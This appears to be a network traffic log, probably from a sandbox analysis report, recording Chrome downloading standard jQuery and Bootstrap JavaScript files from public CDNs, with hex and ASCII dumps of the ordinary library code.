2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-08-28 11:52:53 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49757	104.18.10.207	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:53 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:53 UTC	947	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 1b67fa50f8ffc843a15d702643eb706f CDN-Cache: HIT CF-Cache-Status: HIT Age: 14501993 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba4190688154264-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:53 UTC	422	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c00/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a Data Ascii: igger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f Data Ascii: ;return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 Data Ascii: )}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e Data Ascii: LEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b Data Ascii: ull),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 Data Ascii: .test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirect
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 Data Ascii: rget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+"
2024-08-28 11:52:53 UTC	1369	IN	Data Raw: 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c Data Ascii: {t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49758	104.18.10.207	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:53 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:53 UTC	948	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:53 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 14488302 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba419069fe64381-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:53 UTC	421	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bff/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
